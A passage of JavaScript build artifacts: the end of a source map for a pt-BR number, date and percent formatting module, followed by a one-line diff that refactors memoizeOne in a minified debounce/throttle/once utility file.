\"$1-$2\");\n}\n\n/** How {@link formatPercent} renders a fraction. */\nexport interface FormatPercentOptions extends FormatFallbackOptions {\n /**\n * Decimal places to show, fixed (padded as well as truncated).\n *\n * Defaults to `1`, which is what the function always did. Two is the case\n * that produced this option: a confidence of 98,74% and one of 98,7% are the\n * same number on a summary card and two different readings on a detail\n * screen, so the precision belongs to the call site.\n */\n decimals?: number;\n}\n\n/**\n * Format a fraction (0-1) as a percentage.\n *\n * A non-finite input renders as `\"—\"` rather than `\"NaN%\"` or `\"∞%\"`, which is\n * what `Intl.NumberFormat` produces and what a division by zero upstream puts on\n * the screen. It matches `formatDurationMs`, which already answers that way.\n *\n * @example\n * ```typescript\n * formatPercent(0.9874); // \"98,7%\"\n * formatPercent(0.9874, { decimals: 2 }); // \"98,74%\"\n * formatPercent(0 / 0); // \"—\"\n * ```\n *\n * @param value - Fraction between 0 and 1.\n * @param options - Rendering options; `decimals` defaults to 1.\n * @returns Formatted percent string, e.g. \"12,5%\", or `\"—\"` for a non-finite input.\n */\nexport function formatPercent(\n value: number | null | undefined,\n options: FormatPercentOptions = {},\n): string {\n if (isAbsent(value) || !Number.isFinite(value)) return fallbackText(options);\n const decimals = options.decimals ?? 1;\n return numberFormat(\"pt-BR\", {\n style: \"percent\",\n minimumFractionDigits: decimals,\n maximumFractionDigits: decimals,\n }).format(value);\n}\n"],"mappings":"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"}
@@ -1,2 +1,2 @@
1
- function e(e,t){let n,r=(...r)=>{n!==void 0&&clearTimeout(n),n=setTimeout(()=>{n=void 0,e(...r)},t)};return r.cancel=()=>{n!==void 0&&(clearTimeout(n),n=void 0)},r}function t(e,t){let n,r,i=0,a=t=>{i=Date.now(),e(...t)},o=(...e)=>{let o=t-(Date.now()-i);o<=0?(n!==void 0&&(clearTimeout(n),n=void 0),a(e)):(r=e,n===void 0&&(n=setTimeout(()=>{if(n=void 0,r!==void 0){let e=r;r=void 0,a(e)}},o)))};return o.cancel=()=>{n!==void 0&&(clearTimeout(n),n=void 0),r=void 0,i=0},o}function n(e){let t=!1,n;return(...r)=>(t||(t=!0,n=e(...r)),n)}function r(e){let t=!1,n,r,i=e=>{if(!t||e.length!==n.length)return!1;for(let t=0;t<e.length;t++)if(!Object.is(e[t],n[t]))return!1;return!0};return(...a)=>i(a)?r:(n=a,r=e(...a),t=!0,r)}exports.debounce=e,exports.memoizeOne=r,exports.once=n,exports.throttle=t;
1
+ function e(e,t){let n,r=(...r)=>{n!==void 0&&clearTimeout(n),n=setTimeout(()=>{n=void 0,e(...r)},t)};return r.cancel=()=>{n!==void 0&&(clearTimeout(n),n=void 0)},r}function t(e,t){let n,r,i=0,a=t=>{i=Date.now(),e(...t)},o=(...e)=>{let o=t-(Date.now()-i);o<=0?(n!==void 0&&(clearTimeout(n),n=void 0),a(e)):(r=e,n===void 0&&(n=setTimeout(()=>{if(n=void 0,r!==void 0){let e=r;r=void 0,a(e)}},o)))};return o.cancel=()=>{n!==void 0&&(clearTimeout(n),n=void 0),r=void 0,i=0},o}function n(e){let t=!1,n;return(...r)=>(t||(t=!0,n=e(...r)),n)}function r(e){let t=!1,n,r,i=e=>{if(!t||e.length!==n.length)return!1;for(let t=0;t<e.length;t++)if(!Object.is(e[t],n[t]))return!1;return!0};return(...a)=>(i(a)||(n=a,r=e(...a),t=!0),r)}exports.debounce=e,exports.memoizeOne=r,exports.once=n,exports.throttle=t;
2
2
  //# sourceMappingURL=functions.cjs.map